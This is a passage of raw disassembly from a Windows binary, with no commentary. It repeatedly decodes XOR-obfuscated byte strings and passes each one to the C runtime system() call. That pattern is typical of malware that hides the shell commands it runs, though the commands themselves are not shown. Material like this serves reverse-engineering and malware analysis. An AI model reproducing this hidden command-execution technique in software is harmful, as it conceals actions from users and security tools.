paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140010bd0
cmp r8d, 0x9a
jge 0x140010d23
movsxd rax, r8d
lea r9, [rbp + 0x1f10]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x140010cf0
lea rcx, [rbp + 0x1f10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xa3b00]
lea rcx, [rbp + 0x3060]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, edi
cmp r14d, 2
jl 0x140010f09
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3064]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x140010e00
cmp r8d, 0xc2
jge 0x140010f53
movsxd rax, r8d
lea r9, [rbp + 0x3060]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x140010f20
lea rcx, [rbp + 0x3060]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xa4630]
lea rcx, [rbp + 0x3130]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, edi
cmp r14d, 2
jl 0x140011139
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3134]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x140011030
cmp r8d, 0xc2
jge 0x140011183
movsxd rax, r8d
lea r9, [rbp + 0x3130]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x140011150
lea rcx, [rbp + 0x3130]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xa3bd0]
lea rcx, [rbp + 0x2ee0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp r14d, 2
jl 0x140011360
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2ee4]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x140011260
jmp 0x1400113a3
lea r9, [rbp + 0x2ee0]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x140011370
lea rcx, [rbp + 0x2ee0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbx + 0xa4b50]
lea rcx, [rbp + 0x2fa0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp r14d, 2
jl 0x140011580
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2fa4]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x140011480
jmp 0x1400115c3
lea r9, [rbp + 0x2fa0]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x140011590
lea rcx, [rbp + 0x2fa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5f60]
movups xmmword [rbp + 0x24c0], xmm0
movups xmm0, xmmword [0x1400a5f80]
movups xmmword [rbp + 0x24e0], xmm0
movups xmm0, xmmword [0x1400a5fa0]
movups xmm1, xmmword [0x1400a5f70]
movups xmmword [rbp + 0x2500], xmm0
movups xmmword [rbp + 0x24d0], xmm1
movups xmm0, xmmword [0x1400a5fc0]
movups xmm1, xmmword [0x1400a5f90]
movups xmmword [rbp + 0x2520], xmm0
movups xmmword [rbp + 0x24f0], xmm1
movups xmm0, xmmword [0x1400a5fe0]
movups xmm1, xmmword [0x1400a5fb0]
movups xmmword [rbp + 0x2540], xmm0
movups xmmword [rbp + 0x2510], xmm1
movsd xmm0, qword [0x1400a5ff0]
movups xmm1, xmmword [0x1400a5fd0]
movsd qword [rbp + 0x2550], xmm0
movups xmmword [rbp + 0x2530], xmm1
cmp r14d, 2
jl 0x1400117b0
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x24c4]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x1400116b0
jmp 0x1400117f3
lea r9, [rbp + 0x24c0]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x1400117c0
lea rcx, [rbp + 0x24c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3350]
movups xmmword [rbp + 0x1e70], xmm0
movups xmm0, xmmword [0x1400a3370]
movups xmmword [rbp + 0x1e90], xmm0
movups xmm0, xmmword [0x1400a3390]
movups xmm1, xmmword [0x1400a3360]
movups xmmword [rbp + 0x1eb0], xmm0
movups xmmword [rbp + 0x1e80], xmm1
movups xmm0, xmmword [0x1400a33b0]
movups xmm1, xmmword [0x1400a3380]
movups xmmword [rbp + 0x1ed0], xmm0
movups xmmword [rbp + 0x1ea0], xmm1
movups xmm0, xmmword [0x1400a33d0]
movups xmm1, xmmword [0x1400a33a0]
movups xmmword [rbp + 0x1ef0], xmm0
movups xmmword [rbp + 0x1ec0], xmm1
movzx eax, byte [0x1400a33e8]
movsd xmm0, qword [0x1400a33e0]
movups xmm1, xmmword [0x1400a33c0]
mov byte [rbp + 0x1f08], al
movsd qword [rbp + 0x1f00], xmm0
movups xmmword [rbp + 0x1ee0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x1400119eb
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1e74]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400118e2
cmp r8d, 0x99
jge 0x140011a33
movsxd rax, r8d
lea r9, [rbp + 0x1e70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140011a00
lea rcx, [rbp + 0x1e70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3e40]
movups xmmword [rbp + 0x1320], xmm0
movups xmm0, xmmword [0x1400a3e60]
movups xmm1, xmmword [0x1400a3e50]
movups xmmword [rbp + 0x1340], xmm0
movups xmmword [rbp + 0x1330], xmm1
mov eax, dword [0x1400a3ed0]
movups xmm0, xmmword [0x1400a3e80]
movups xmm1, xmmword [0x1400a3e70]
mov dword [rbp + 0x13b0], eax
movups xmmword [rbp + 0x1360], xmm0
movups xmmword [rbp + 0x1350], xmm1
movzx eax, word [0x1400a3ed4]
movups xmm0, xmmword [0x1400a3ea0]
movups xmm1, xmmword [0x1400a3e90]
mov word [rbp + 0x13b4], ax
movups xmmword [rbp + 0x1380], xmm0
movups xmmword [rbp + 0x1370], xmm1
movzx eax, byte [0x1400a3ed6]
movups xmm0, xmmword [0x1400a3ec0]
movups xmm1, xmmword [0x1400a3eb0]
mov byte [rbp + 0x13b6], al
movups xmmword [rbp + 0x13a0], xmm0
movups xmmword [rbp + 0x1390], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140011c39
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1324]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140011b30
cmp r8d, 0x97
jge 0x140011c83
movsxd rax, r8d
lea r9, [rbp + 0x1320]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140011c50
lea rcx, [rbp + 0x1320]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4580]
movups xmmword [rbp + 0x2430], xmm0
movups xmm0, xmmword [0x1400a45a0]
movups xmm1, xmmword [0x1400a4590]
movups xmmword [rbp + 0x2450], xmm0
movups xmmword [rbp + 0x2440], xmm1
movups xmm0, xmmword [0x1400a45c0]
movups xmm1, xmmword [0x1400a45b0]
movups xmmword [rbp + 0x2470], xmm0
movups xmmword [rbp + 0x2460], xmm1
movups xmm0, xmmword [0x1400a45e0]
movups xmm1, xmmword [0x1400a45d0]
movups xmmword [rbp + 0x2490], xmm0
movups xmmword [rbp + 0x2480], xmm1
movsd xmm0, qword [0x1400a4600]
movups xmm1, xmmword [0x1400a45f0]
movsd qword [rbp + 0x24b0], xmm0
movups xmmword [rbp + 0x24a0], xmm1
cmp r14d, 2
jl 0x140011e60
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2434]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
